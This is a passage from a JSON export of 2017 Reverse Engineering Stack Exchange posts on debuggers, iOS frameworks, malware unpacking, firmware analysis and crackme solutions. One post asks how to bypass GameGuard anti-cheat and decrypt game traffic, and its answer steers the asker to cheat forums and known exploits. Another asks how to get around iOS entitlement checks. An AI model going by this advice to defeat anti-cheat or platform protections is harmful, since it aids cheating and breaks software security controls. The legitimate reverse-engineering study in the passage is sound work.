maps. Go to <em>View >> Memory</em> and double click the memory map you're interested in which is in your case -- <code>.data</code>. In the opened window press <kbd>Ctrl</kbd>+<kbd>b</kbd> and search for your string, you should find it there. If you don't find it you can also search for it in another memory maps such as <code>.rdata</code>.</p>\n\n<hr>\n\n<p>On a personal note, I highly recommend to use x64dbg which is an active open-source project, unlike Ollydbg which is absolutely outdated. Moreover, x64dbg is inspired by OllyDbg so you should not have too many problems with migrating to it.  </p>\n\n<p>Here are some resources:</p>\n\n<ul>\n<li><a href=\"https://x64dbg.com\" rel=\"noreferrer\">x64dbg main website</a></li>\n<li><a href=\"https://github.com/x64dbg/x64dbg\" rel=\"noreferrer\">The project's Github repository</a>  </li>\n<li><a href=\"https://x64dbg.readthedocs.io/en/latest/\" rel=\"noreferrer\">x64dbg's documentation</a>  </li>\n</ul>\n"
    },
    {
        "Id": "16588",
        "CreationDate": "2017-10-20T20:20:36.297",
        "Body": "<p>I am Kernel debugging in Windbg and it's slow , very slow stepping through. </p>\n\n<p>My current setup is using VMWARE and Windbg through a com port on the Virtual Machine.</p>\n\n<p>Is there a faster way to debug the Windows Kernel?</p>\n\n<p>What are some of my options?</p>\n",
        "Title": "Faster Kernel debugging for Windows",
        "Tags": "|debugging|windbg|kernel-mode|",
        "Answer": "<p>If you are debugging a newer version of Windows (Windows 8 or higher I believe). You should checkout network based debugging. Works like a charm. No third party dependencies.</p>\n\n<p>Just open up a cmd prompt as admin and type:\n<code>\nbcdedit /debug on\nbcdedit /dbgsettings net hostip:w.x.y.z port:n\n</code></p>\n\n<p>Checkout the <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection\" rel=\"nofollow noreferrer\">MSDN docs</a> for more info</p>\n"
    },
    {
        "Id": "16597",
        "CreationDate": "2017-10-22T14:29:19.280",
        "Body": "<p>I'd like to try and fix some open source GitHub project that uses the <code>allApplications</code> from <code>LSApplicationWorkspace</code> call from private API which list all installed application on the device. </p>\n\n<p>The method works fine in the simulator, but on a device running iOS 11, it returns zero results.</p>\n\n<p>So First, I've downloaded the IPSW file, and opened it I got the following list of files : </p>\n\n<pre><code>-rw-r--r--@  1 adam.k  staff    15139280 Oct  7 08:16 kernelcache.release.iphone9\n-rw-r--r--@  1 adam.k  staff  2462102996 Oct  7 11:25 058-59998-354.dmg\ndrwxrwxr-x@ 14 adam.k  staff         476 Oct  7 11:34 Firmware\n-rw-r--r--@  1 adam.k  staff    59088923 Oct  7 11:44 058-59982-359.dmg\n-rw-r--r--@  1 adam.k  staff    59801627 Oct  7 11:44 058-59988-357.dmg\n-rw-r--r--@  1 adam.k  staff        3282 Oct  7 11:49 Restore.plist\n-rw-r--r--@  1 adam.k  staff      257603 Oct  7 11:53 BuildManifest.plist\n</code></pre>\n\n<p>According to some resources from from the web, I understood that the relevant image here is the largest dmg file. after open it, I got the following mount <code>/Volumes/Tigris15A432.D10D101OS</code></p>\n\n<p>when looking for the right framework in this image, I got :\n<code>System/Library/Frameworks/MobileCoreServices.framework</code></p>\n\n<p>but it seems that it doesn't contain any dylib/macho files and I couldn't find the symbol...</p>\n\n<p>However, In the Info.plist of that framework it says : \n    CFBundleExecutable\n    MobileCoreServices</p>\n\n<p>but I couldn't find this MobileCoreServices file anywhere in the image ... any idea where should I find it ?</p>\n",
        "Title": "Getting MobileCoreServices.framework binary in iOS11",
        "Tags": "|disassembly|ios|",
        "Answer": "<p>Most of the commonly used iOS frameworks do not exist as separate files anymore but are bundled together in the <a href=\"http://iphonedevwiki.net/index.php/Dyld_shared_cache\" rel=\"nofollow noreferrer\">dyld shared cache</a>.  MobileCoreServices is also one of such frameworks.</p>\n"
    },
    {
        "Id": "16600",
        "CreationDate": "2017-10-22T20:19:53.997",
        "Body": "<p>recently i got my hands on one sample that self-modifies its <code>.text</code> section. So, I placed a breakpoint on <code>.text</code> section on write operation and then continued. I found out that it zeroes out the <code>.text</code> section and then writes the decrypted code to that section and then makes a call to the decrypted OEP. I used Scylla to correct the OEP and dump the <code>.exe</code> file.</p>\n\n<p><a href=\"https://i.stack.imgur.com/prlmd.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/prlmd.png\" alt=\"Scylla_output\"></a></p>\n\n<p>When i get the imports it shows that the program only imports <code>kernel32.dll</code>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/zDYzc.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/zDYzc.png\" alt=\"PEBear_output\"></a></p>\n\n<p>This is the assembly of the dumped <code>.exe</code> file in the <code>PEBear</code>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/rMf0h.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/rMf0h.png\" alt=\"ImmunityDBG_output\"></a></p>\n\n<p>This is what I get when i try to open the dumped file in <code>ImmunityDbg</code>.</p>\n\n<p>The imports i get are also very different from what <code>Scylla</code> gave me + The dumped program does not run it crashes right away. What am i doing wrong?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Reversing Self-Modifying Malware",
        "Tags": "|disassembly|ollydbg|malware|unpacking|immunity-debugger|",
        "Answer": "<p>Thanks everyone who responded. The IAT was the problem. The OEP I found was the real OEP pointing to the unpacked code. But the dumped executable was not runnable because IAT was corrupt. After Fixing IAT in Scylla. It is now runnable.</p>\n"
    },
    {
        "Id": "16611",
        "CreationDate": "2017-10-24T01:44:18.930",
        "Body": "<p>It appears there is more than just flash memory on Smartcards.  </p>\n\n<p>Presumably there is also some sort of microprocessor.  </p>\n\n<p>So then along comes this article:</p>\n\n<p><a href=\"https://arstechnica.com/information-technology/2017/10/crippling-crypto-weakness-opens-millions-of-smartcards-to-cloning/\" rel=\"nofollow noreferrer\">Crippling crypto weakness opens millions of smartcards to cloning</a></p>\n\n<p>Excerpt:</p>\n\n<blockquote>\n  <p>Millions of smartcards in use by banks and large corporations for more than a decade have been found to be vulnerable to a crippling cryptographic attack. That vulnerability allows hackers to bypass a wide range of protections, including data encryption and two-factor authentication.</p>\n  \n  <p>The critical vulnerability, which researchers disclosed last week, allows attackers to derive the private portion of any vulnerable key using nothing more than the corresponding public portion. </p>\n  \n  <p>The so-called factorization attack can be completed in minutes or days, and the price can range from nothing, depending on the key size and type of computer an attacker uses, to $20,000. </p>\n  \n  <p>The vulnerability stems from a widely deployed library developed by German chipmaker Infineon, which in turn sells its hardware and software to third-party smartcard and device manufacturers.</p>\n  \n  <p>The defect has now been confirmed to affect the first line of Gemalto IDPrime.NET smartcards. </p>\n  \n  <p>The cards have been on the market since 2004 at the latest, when Gemalto predecessor Axalto announced Microsoft employees were using the card to secure access to the software maker's network, by, among other things, providing two-factor authentication to company employees worldwide. During the 12 years the cards are known to have been in use, Netherlands-based Gemalto has shipped cards numbering in the millions or even the tens or hundreds of millions.</p>\n</blockquote>\n\n<p>The question is in the title:  How does a Smartcard work?</p>\n",
        "Title": "How does a Smartcard work?",
        "Tags": "|encryption|smartcards|",
        "Answer": "<p>According to the Smartcard Alliance, Smartcards are functionally identical to SIM cards as used in cellphones and tablets, as described here:</p>\n\n<p><a href=\"http://www.smartcardalliance.org/smart-cards-intro-primer/\" rel=\"nofollow noreferrer\">Smart Card Primer</a> (smartcardalliance.org)</p>\n\n<p>Excerpt:</p>\n\n<blockquote>\n  <p>A smart card is a device that includes an embedded integrated circuit\n  chip (ICC) that can be either a secure microcontroller or equivalent\n  intelligence with internal memory or a memory chip alone. The card\n  connects to a reader with direct physical contact or with a remote\n  contactless radio frequency interface. With an embedded\n  microcontroller, smart cards have the unique ability to store large\n  amounts of data, carry out their own on-card functions (e.g.,\n  encryption and mutual authentication) and interact intelligently with\n  a smart card reader. Smart card technology conforms to international\n  standards (ISO/IEC 7816 and ISO/IEC 14443) and is available in a\n  variety of form factors, including plastic cards, fobs, subscriber\n  identity modules (SIMs) used in GSM mobile phones, and USB-based\n  tokens.</p>\n</blockquote>\n\n<p>As @SYS_V rightfully pointed out, the answer is given in depth here:</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/15011/how-does-a-sim-card-work\">How does a SIM card work?</a></p>\n"
    },
    {
        "Id": "16612",
        "CreationDate": "2017-10-24T05:08:30.577",
        "Body": "<p><strong>Imagine this:</strong></p>\n\n<p>You have a binary for a piece of ARM firmware. You are nearly 100% it is ARM, and that it runs on the bare metal. You obtained this firmware from a manufacturers update page. </p>\n\n<p>However, you are uncertain of the exact model of chip the binary is intended for. You are unable to find the developer's guide or spec sheet for the chip. </p>\n\n<p>The binary has no known headers, and research suggests that it is not compressed or encrypted. The large section of strings at the bottom of the binary suggests it is a single flat binary file, and not several records compressed together. There are no indications of a file system. </p>\n\n<p>You should reasonably be able to disassemble the code but a few factors are missing to prevent you from retrieving control-flow, and creating a sensical disassembly. </p>\n\n<p>1) You do not know where the initial entry point is. \n2) You do not know if there is a ram section, and what address it might start and end at. \n3) You do not know if there is a rom section, and what address it might start and end at.  </p>\n\n<p>Given these, or similar circumstances, how might a reverse engineer deduce the initial entry point, and location/size of areas like ROM? </p>\n\n<p>I imagine detecting reads and writes from a memory mapped chip of some sort would be possible to infer from a valid disassembly, just by highlighting common memory regions which are frequently referenced, and classifying them into sections. I am hoping someone has come up with an automated method for this sort of analysis. </p>\n\n<p><strong>E.G</strong> </p>\n\n<p>\"The range 0x7-0x9 is frequently referenced. It may be ROM. The highest address is 0x7998, the area appears to occupy 8 Mbs.\" </p>\n\n<p>The other area, identifying the entry point, has stumped me so far. Without the documentation for the chip is it possible to infer the initial entry point of the code? This is especially frustrating on chips where the bootloader appears to be stored in ROM separate from the main firmware. </p>\n\n<p>Can the structure of such a firmware image be implied without developer documentation?  </p>\n",
        "Title": "Is there a method for \"guessing\" the addresses for unknown areas in bare metal firmware binaries?",
        "Tags": "|disassembly|firmware|",
        "Answer": "<p>What I usually do: </p>\n\n<ul>\n<li>Load the binary at a not too small base address, like <code>0x10000000</code>.</li>\n<li>Identify as many functions and strings as possible.\n\n<ul>\n<li>you may get lucky starting with only the strings, that is usually less work.</li>\n</ul></li>\n<li>create a list of all constant values, immediates, and dword (assuming a 32 bit binary) values.</li>\n<li>now sort the list of function and string addresses, and calculate the differences between each consecutive address.</li>\n<li>do the same for the list of constant values.</li>\n</ul>\n\n<p>Now you have two lists of address differences, if you find a sequence of consecutive differences which is in both lists, you have found your base address.</p>\n\n<p>This works most of the time, but you can run in to the problem that both lists may be incomplete. For instance the address list will not have absolute pointers for each function, or maybe you disassembled some functions incorrectly. Maybe you will have better luck focussing on the string addresses.</p>\n\n<p>I usually do this list matching by hand, in <code>vim</code> using regex searches. On some occasions I have written small scripts to help finding a match. ... but i can't find those right now, i will update my post if i find them again.</p>\n\n<hr>\n\n<h2>summary of the <a href=\"https://chat.stackexchange.com/rooms/67646/discussion-between-willem-hengeveld-and-baordog\">chat</a></h2>\n\n<p>The firmware file being discussed: <a href=\"http://dvdo.com/wp-content/uploads/2015/10/Matrix6_Version_01.zip\" rel=\"noreferrer\">DVDO Matrix6 Firmware 01.01</a> from <a href=\"http://dvdo.com/product/dvdo-matrix6\" rel=\"noreferrer\">dvdo</a>.</p>\n\n<p>I took a look at other binaries from the same site, and found references to the <code>LPC1758</code> - an ARM based chip.</p>\n\n<p>Indeed IDA does not immediately recognize the binary. The reason is that this binary has only Thumb instructions. IDA expects arm binaries to start with ARM32 code.\nThumb code can be recognised from a hex dump by the presence of byte sequences like <code>70 47</code> (BX LR), <code>00 bf</code> (NOP), <code>*0 b5</code> (PUSH {...}</p>\n\n<p>So after changing the segment type <code>T</code> to <code>1</code> using <code>Alt-G</code>. I could disassemble the file.</p>\n\n<p>Finding the offset:</p>\n\n<p>These two commands will generate a list of dwords occurring in the file, and a list of strings occurring in the file:</p>\n\n<pre><code>od -Ax -t x4 Matrix6_Version_01/M6FW0101.BIN | perl -pe 's/^\\w+\\s+//' | tr \" \" \"\\n\" | sort|uniq  &gt; dwordlist.txt\nstrings -10 -o -t x \"Matrix6_Version_01/M6FW0101.BIN\" &gt; stringlist.txt\n</code></pre>\n\n<p>Now look at the first real text in the stringlist:</p>\n\n<pre><code>28eaa pGSAC Initiation task finished\n28eca SAC Audio Format Discovery task finished\n28ef4 SAC volume has changed\n28f0c Audio System Logical Address not assigned\n28f37 CBUS MUTE received\n28f4b CBUS UN-MUTE received\n28f62 CBUS VOL UP received\n28f78 CBUS VOL DOWN received\n</code></pre>\n\n<p>You may notice that the first 2 characters of the first string, <code>pG</code> is actually a <code>70 47</code> or <code>BX LR</code> instruction.</p>\n\n<p>Now i would load both files in <code>Vim</code>, and in both run this vim-perl script:</p>\n\n<pre><code>:perldo s/^\\w+/($x,$p)=(hex($&amp;),$x); sprintf(\"%s(%8x)\", $&amp;, $x-$p)/e\n</code></pre>\n\n<p>This will lead to a string list looking partially like this:</p>\n\n<pre><code>28eaa(    25dd) pGSAC Initiation task finished\n28eca(      20) SAC Audio Format Discovery task finished\n28ef4(      2a) SAC volume has changed\n28f0c(      18) Audio System Logical Address not assigned\n28f37(      2b) CBUS MUTE received\n28f4b(      14) CBUS UN-MUTE received\n28f62(      17) CBUS VOL UP received\n28f78(      16) CBUS VOL DOWN received\n</code></pre>\n\n<p>now, skipping the first two, because of the incorrect <code>pG</code> start, I search in <code>dwordlist.txt</code>, for consecutive lines with respectively <em>2a</em>, <em>18</em> and <em>2b</em>, using this regex search:</p>\n\n<pre><code>/ 2a)\\n.* 18)\\n.* 2b)\n</code></pre>\n\n<p>This leads me to the following lines matching in both files:</p>\n\n<pre><code>0002ebc3(      80)\n0002eeac(     2e9)       28eaa(    25dd) pGSAC Initiation task finished\n0002eeca(      1e)       28eca(      20) SAC Audio Format Discovery task finished\n0002eef4(      2a)       28ef4(      2a) SAC volume has changed\n0002ef0c(      18)       28f0c(      18) Audio System Logical Address not assigned\n0002ef37(      2b)       28f37(      2b) CBUS MUTE received\n0002ef4b(      14)       28f4b(      14) CBUS UN-MUTE received\n0002ef62(      17)       28f62(      17) CBUS VOL UP received\n0002ef78(      16)       28f78(      16) CBUS VOL DOWN received\n0002ef8c(      14)\n</code></pre>\n\n<p>Subtracting 0x28eaa from 0x2eeac leads me to an offset of <code>0x6000</code>.</p>\n"
    },
    {
        "Id": "16616",
        "CreationDate": "2017-10-24T19:32:08.337",
        "Body": "<p>I'm not new to MMO Server Emulation, but I am new to working with a protected Client, and have very basic RCE skills. I would appreciate some direction, and maybe this won't be possible, given the requirements.</p>\n\n<p>The target is Uncharted Waters Online, now published by Papaya Play, utilizing GameGuard (instead of X-Trap, as the previous publisher).</p>\n\n<p>Two Priorities:</p>\n\n<ol>\n<li>Prevent the Client from loading or attempting to refer to GameGuard.</li>\n<li>Understand the client-server communication through Packet Analysis. Obviously, impossible with Encrypted Packets.</li>\n</ol>\n\n<p>My Questions:</p>\n\n<ol>\n<li><p>How entrenched is GameGuard? Will simply bypassing the loading routines be enough?? Or must I allow it to load, but Bypass all the functions that it alters? Obviously, I would like the Client to not have to load GameGuard when accessing the Emulated Server.</p></li>\n<li><p>Encrypted Packets. A major task will be to see the unencrypted packet contents while connected to Live Servers. Does anyone have experience with this? My thoughts are to find and detour the encryption and decryption functions, to output the raw packet information somewhere else. Is this a viable approach? Is this practical, or is there an easier way for me to understand the network communication?</p></li>\n</ol>\n\n<p>Thanks all. All I'm looking for is an approach. I can research on my own how to achieve that, but at this point, I don't know enough about GameGuard and Reversing Packet Encryption to know where to start.</p>\n",
        "Title": "Emulation Project - GameGuard Protected Client",
        "Tags": "|encryption|",
        "Answer": "<p>Game hacker here.</p>\n\n<p>To address your first question, forums like <a href=\"https://www.elitepvpers.com/\" rel=\"nofollow noreferrer\">ElitePVPers</a>, <a href=\"http://www.ownedcore.com/\" rel=\"nofollow noreferrer\">OwnedCore</a>, <a href=\"https://unknowncheats.me/\" rel=\"nofollow noreferrer\">UnknownCheats</a>, <a href=\"http://www.mpgh.net/\" rel=\"nofollow noreferrer\">MPGH</a>, etc. are going to be your absolute best friend. The people you'll find in those places are steeped in exactly this type of reversing, so starting with a Google search like <a href=\"https://www.google.com/search?q=unknowncheats%20gameguard\" rel=\"nofollow noreferrer\">UnknownCheats GameGuard</a> will yield results like <a href=\"https://www.unknowncheats.me/wiki/GameGuard\" rel=\"nofollow noreferrer\">this</a>. That alone should give you a well-rounded summary of the technology and some of its current exploits (meaning you may not have to do very much heavy lifting on your own).</p>\n\n<p>As for your second question, yes, that's a viable approach, but it can be extremely tough to find your way to decrypted data depending on how well-guarded they keep it (whether through odd Assembly instruction/sub-routine obfuscation, VMs, ridiculous looping, etc., etc.). Once again, those forums should really take you far. It sounds like you already have a good grasp on the language of reversing, so you positing questions around those places should be taken to by the more intelligent and experienced folks.</p>\n\n<p>Finally, I highly recommend the book <a href=\"https://www.nostarch.com/networkprotocols\" rel=\"nofollow noreferrer\">Attacking Network Protocols</a> if that's one of the key areas that interests you with reversing.</p>\n\n<p>Good luck!</p>\n"
    },
    {
        "Id": "16619",
        "CreationDate": "2017-10-25T07:51:37.537",
        "Body": "<p>I'd like to analyze iOS private framework that broke commonly used GitHub project called <code>AppLister</code>. Here's some info about the API:</p>\n\n<pre><code>Framework : MobileCoreServices.framework.\nClass: LSApplicationWorkspace.\nMethod: allApplication.\n</code></pre>\n\n<p>Starting from iOS11, this call returns empty list unless the following entitlement is added to the application :  <code>com.apple.appstored.xpc.request</code></p>\n\n<p>It seems like this API was closed in iOS11 and you need the following entitlement in order to allow it. </p>\n\n<p>Prior to reversing, I wish to understand the flow of entitlement verification in general and maybe get into some details.. </p>\n\n<p>From what I've found out so far, it looks like the App use XPC for remote daemon that perform the actual verification. </p>\n\n<p>but I still have some black holes in this explanation. </p>\n\n<pre><code>1. Does the policy checker daemon also perform the method itself, or just return allow/block verdict.\n2. Does the flow involve kernel verification or just user-space processes. \n3. Is there a way to bypass this flow if I can only control the local process (not the checker or course) by skipping the policy check phase and call the API directly ? \n</code></pre>\n\n<p>I'd be happy to here some more about how this is working, and if I've missed something. </p>\n",
        "Title": "iOS entitlements for enable calling to private API",
        "Tags": "|ios|",
        "Answer": "<p>Apparently the kernel extension called AppleMobileFileIntegrity (AFMI) is responsible for enforcing the entitlements. Here's a presentation which has some detail of the implementation:</p>\n\n<p><a href=\"http://newosxbook.com/files/HITSB.pdf\" rel=\"nofollow noreferrer\"><em>The Apple Sandbox -five years later</em> by Jonathan Levin.</a></p>\n"
    },
    {
        "Id": "16624",
        "CreationDate": "2017-10-25T20:46:11.297",
        "Body": "<p>I was given two DLL files <a href=\"https://mega.nz/#!w0RnhJTQ!_j3sImHX2Heo0Zb35rZw6uKYLFz8FTqoSmnE-zZDrVs\" rel=\"nofollow noreferrer\">(link)</a> . The task is to get the flag from them. First what I've done - opened the first file (called <code>original</code>) in IDA and found the function called <code>_GetFlag</code>.\n<a href=\"https://i.stack.imgur.com/nur45.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nur45.png\" alt=\"enter image description here\"></a></p>\n\n<p>As I understood, I need to call that function from the DLL library somehow (that's the first question - I don't have any info about the function except its name, so I'd like to know how exactly I can call it).\nHowever, as wee see, even if I knew how to call it, we can't get the flag from <code>original</code> DLL, it says <code>Sry, flag is in the patched version</code>.</p>\n\n<p>Ok, I opened <code>patched</code> DLL in IDA. First what we see that the file can be opened only as a binary:\n<a href=\"https://i.stack.imgur.com/yCFF3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yCFF3.png\" alt=\"enter image description here\"></a></p>\n\n<p>As always, I opened the Strings window and we see the string <code>\"0day is bring your own header day! Flag is: %s\"</code> . It looks like a key for solution.</p>\n\n<p><a href=\"https://i.stack.imgur.com/izwnv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/izwnv.png\" alt=\"enter image description here\"></a></p>\n\n<p>However, I don't exactly know what to do after that. I'd really appreciate if somebody would explain me how to solve this.</p>\n",
        "Title": "Solving method of DLL crackme",
        "Tags": "|ida|dll|crackme|",
        "Answer": "<p>Once you have patched the malformed bytes to make the patched DLL proper, you can use something like <a href=\"https://gist.github.com/sudhackar/4f6b72092b88d4b11996475c679486de\" rel=\"nofollow noreferrer\">this</a> to call the <code>GetFlag</code> function.</p>\n\n<pre><code>#include &lt;Windows.h&gt;\n\ntypedef DWORD (__cdecl *_GetFlag)();\n_GetFlag GetFlag;\nHMODULE hDll = NULL;\n\nNTSTATUS main(int argc, char **argv) {\n    hDll = LoadLibrary(\"my_head_flew_away_patched.dll\");\n    GetFlag = (_GetFlag)GetProcAddress(hDll, \"GetFlag\");\n    GetFlag();\n}\n</code></pre>\n"
    },
    {
        "Id": "16625",
        "CreationDate": "2017-10-25T21:55:04.613",
        "Body": "<p>As the title stands, I want to label local variables ([ebp - x] addresses) the same way I do with functions and global variables. What I've learned:</p>\n\n<ul>\n<li>I found no way to label locals in the debugger window.</li>\n<li>There's <code>Locals</code> tab in the bottom panel. I can give names to locals there, but they don't propagate to the main window.</li>\n<li>I can rename variables in the decompiler window, but again, they don't sync with the debugger window.</li>\n</ul>\n\n<p>If x64dbg lacks this functionality, is there any plugin that achieves this?</p>\n",
        "Title": "How to label local variables in x64dbg",
        "Tags": "|tools|debuggers|x64dbg|",
        "Answer": "<p>Two ways to label local variables in x64dbg:</p>\n\n<ol>\n<li>In x64dbg, follow in dump at address of local var (like this [ebp-4]). Right click at this address and select Add label, then name the label.</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/RIRiH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RIRiH.png\" alt=\"enter image description here\"></a></p>\n\n<p>Now in the CPU window, local var is displayed like the following picture:</p>\n\n<p><a href=\"https://i.stack.imgur.com/BhT7m.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BhT7m.png\" alt=\"enter image description here\"></a></p>\n\n<ol start=\"2\">\n<li>Try the labeless plugin : <a href=\"https://github.com/a1ext/labeless/\" rel=\"nofollow noreferrer\">https://github.com/a1ext/labeless/</a> to sync from IDA to x64dbg.</li>\n</ol>\n\n<p>Regards;</p>\n"
    },
    {
        "Id": "16626",
        "CreationDate": "2017-10-26T01:49:38.147",
        "Body": "<p>I want to learn to reverse engineer hardware/firmware as well as software (eventually, i want to focus on hardware/firmware now). I have some experience programming STM32 microcontrollers as well as decent understanding of C. I understand verilog and have made some simple stuff in FPGA and have done PCB board design before as well.</p>\n\n<p>I started reading \"Reverse Engineering for Beginners\" but it seems like a lot of examples with no hands-on projects to work with. I learn a lot more by doing so if there was a book that teaches you reverse engineering, assembly/disassembly, and other topics with a project in mind i'd much prefer it. I'd like to learn ARM and x86 but more of a focus on ARM.</p>\n\n<p>As for tools i have a Bus Pirate, Logic Analyzer, and basic soldering equipment. Any recommendations on tools i should get and projects i can do?</p>\n",
        "Title": "Are there any project based books that teach reverse engineering?",
        "Tags": "|firmware|hardware|",
        "Answer": "<p>You are right, most of the RE books out there are more generic and consists of dozens of different examples and not project oriented. Moreover, they're mostly focused on software reverse engineering.  </p>\n\n<p>From these, and as a reference, it is worth to mention:</p>\n\n<ul>\n<li><a href=\"https://beginners.re/\" rel=\"nofollow noreferrer\">Reverse Engineering for Beginners</a></li>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/1118787315\" rel=\"nofollow noreferrer\">Practical Reverse Engineering</a></li>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/0764574817\" rel=\"nofollow noreferrer\">Reversing: Secrets of Reverse Engineering</a></li>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/1593272898\" rel=\"nofollow noreferrer\">The IDA Pro Book</a></li>\n</ul>\n\n<p>In the field of hardware reverse engineering, however, it is much harder to find a proper book, not to say one which is project oriented. But there is one book which overcomes the other and seems to fit best for your needs \u2013 <a href=\"https://www.nostarch.com/xboxfree\" rel=\"nofollow noreferrer\">Hacking the Xbox: An Introduction to Reverse Engineering</a> by Andrew Huang. The book is available for free since March 2013.</p>\n\n<p>To quote from the book's description:</p>\n\n<blockquote>\n  <p>This hands-on guide to hacking begins with step-by-step tutorials on\n  hardware modifications that teach basic hacking techniques as well as\n  essential reverse engineering skills. The book progresses into a\n  discussion of the Xbox security mechanisms and other advanced hacking\n  topics, with an emphasis on educating the readers on the important\n  subjects of computer security and reverse engineering. Hacking the\n  Xbox includes numerous practical guides, such as where to get hacking\n  gear, soldering techniques, debugging tips and an Xbox hardware\n  reference guide.</p>\n</blockquote>\n\n<p>You can visit the book's <a href=\"http://hackingthexbox.com/\" rel=\"nofollow noreferrer\">official website</a> for more information.</p>\n\n<p>Other books which you may find helpful are listed below:</p>\n\n<ul>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/1931836310\" rel=\"nofollow noreferrer\">Game Console Hacking: Xbox, PlayStation, Nintendo, Game Boy...</a>, by Joe Grand et al.</li>\n<li><a href=\"https://www.nostarch.com/hardwarehacker\" rel=\"nofollow noreferrer\">The Hardware Hacker - Adventures in Making and Breaking Hardware</a>, by Andrew Huang</li>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/1932266836\" rel=\"nofollow noreferrer\">Hardware Hacking: Have Fun While Voiding Your Warranty</a>, by Joe Grand</li>\n<li><a href=\"https://rads.stackoverflow.com/amzn/click/0596003145\" rel=\"nofollow noreferrer\">Hardware Hacking Projects for Geeks</a>, by Scott Fullam</li>\n</ul>\n\n<p><em>It is important for me to note that although the fact that most of these books is available online pirately, I encourage you to <strong>buy</strong> the books you are interested in and support their  authors.</em></p>\n\n<hr>\n\n<p>On a general note, I'd suggest you to start reverse engineering from routers and old game consoles. Good references could be found in <a href=\"http://www.devttys0.com/\" rel=\"nofollow noreferrer\">/dev/ttys0</a>. Choose a product which is cheap and you can buy many pieces from it so you won't be afraid of destroying it with your tests. The Super Nintendo Entertainment System (SNES) is an example for a console which is documented in details by other reverse engineers, check <a href=\"https://www.zophar.net/documents/snes.html\" rel=\"nofollow noreferrer\">this</a> for example. As for tools, most of the resources above contains recommendations for tools that would help you in each project.</p>\n"
    },
    {
        "Id": "16634",
        "CreationDate": "2017-10-26T10:39:44.653",
        "Body": "<p>This crackme contains a text input element on the screen and a button to validate</p>\n\n<p>The value you enter is set into <strong>_inputValue</strong>, afterwards you click on a button, the function executes, in the last lines, if <strong>selectedOption</strong> is 2 it will print \"Congratz\" otherwise there are 5 bad options in the <strong>optionsArr</strong>.</p>\n\n<p>after unpacking and cleaning the main function is :</p>\n\n<pre><code>Password: &lt;input/&gt;&lt;br/&gt;\n&lt;button&gt;Check&lt;/button&gt;\n&lt;script id=\"urchin\"&gt;\n    (function () {\n        var optionsArr = [\n            function () {\n                console.warn(\"boo\")\n            },\n            function () {\n                console.warn(\":(\")\n            },\n            function () {\n                console.log(\"Congratz!\")\n            },\n            function () {\n                console.warn(\"allmost there\")\n            },\n            function () {\n                console.warn(\"muhaha\")\n            },\n            function () {\n                console.warn(\"nahhh\")\n            },\n            function () {\n                console.warn(\"not even close\")\n            }\n        ];\n        var mainFunction = function () {\n            var arr = [];\n            for (var i = 0; i &lt; 256; i++) {\n                arr[i] = i;\n            }\n            var inputVal = document.getElementsByTagName('input')[0].value;\n            var varX = 0;\n//            for (var i2 = 0; i2 &lt; 256; i2++) {\n//                var secret = 'click';\n//                varX = (varX + arr[i2] + secret.charCodeAt(i2 % 5)) % 256;\n//                arr[i2] ^= arr[varX];\n//                arr[varX] ^= arr[i2];\n//                arr[i2] ^= arr[varX];\n//            }\n            arr = [99, 116, 115, 37, 16, 120, 211, 90, 197, 22, 166, 63, 146, 59, 123, 237, 93, 44, 76, 118, 168, 91, 55, 187, 62, 220, 135, 49, 127, 185, 153, 8, 66, 155, 152, 181, 117, 149, 31, 87, 169, 6, 172, 34, 101, 134, 107, 157, 199, 231, 124, 2, 243, 35, 241, 139, 68, 3, 159, 86, 77, 225, 105, 29, 144, 19, 32, 42, 227, 147, 133, 15, 160, 73, 190, 148, 82, 97, 170, 201, 212, 14, 18, 13, 193, 121, 143, 141, 182, 122, 21, 108, 112, 111, 217, 60, 250, 27, 137, 244, 191, 38, 171, 214, 248, 132, 228, 43, 232, 213, 223, 129, 28, 64, 247, 205, 138, 95, 202, 235, 61, 119, 224, 88, 238, 206, 230, 94, 195, 5, 179, 54, 72, 92, 136, 98, 188, 200, 173, 226, 198, 4, 71, 196, 126, 9, 69, 110, 84, 48, 85, 210, 30, 180, 229, 216, 162, 56, 75, 0, 67, 253, 163, 167, 53, 26, 7, 12, 174, 57, 130, 194, 209, 165, 1, 140, 183, 70, 23, 89, 150, 25, 145, 104, 233, 74, 142, 151, 222, 65, 207, 96, 154, 218, 106, 131, 255, 109, 254, 33, 113, 164, 203, 40, 246, 83, 192, 236, 189, 78, 158, 234, 177, 175, 161, 251, 100, 221, 219, 103, 50, 41, 242, 10, 249, 240, 20, 184, 24, 80, 52, 51, 81, 11, 156, 245, 114, 239, 186, 125, 17, 204, 128, 47, 36, 39, 215, 208, 46, 176, 178, 58, 45, 102, 252, 79];\n            var idx = varX = 0;\n            var cmpStr = '';\n            for (var i3 = idx; i3 &lt; inputVal.length; i3 += 2) {\n                idx = (idx + 1) % 256;\n                varX = (varX + arr[idx]) % 256;\n                arr[idx] ^= arr[varX];\n                arr[varX] ^= arr[idx];\n                arr[idx] ^= arr[varX];\n                var curHex = inputVal.substr(i3, 2);\n                var hex2int = parseInt(curHex, 16);\n                var charCode = hex2int ^ arr[(arr[idx] + arr[varX]) % 256];\n                cmpStr += String.fromCharCode(charCode);\n            }\n            var selectedOption = cmpStr.charCodeAt(cmpStr.charCodeAt(0) % cmpStr.length) % 6;\n\n            if (cmpStr != 'input128' &amp;&amp; selectedOption == 2) selectedOption++;\n            optionsArr[selectedOption]();\n        };\n        var btn = 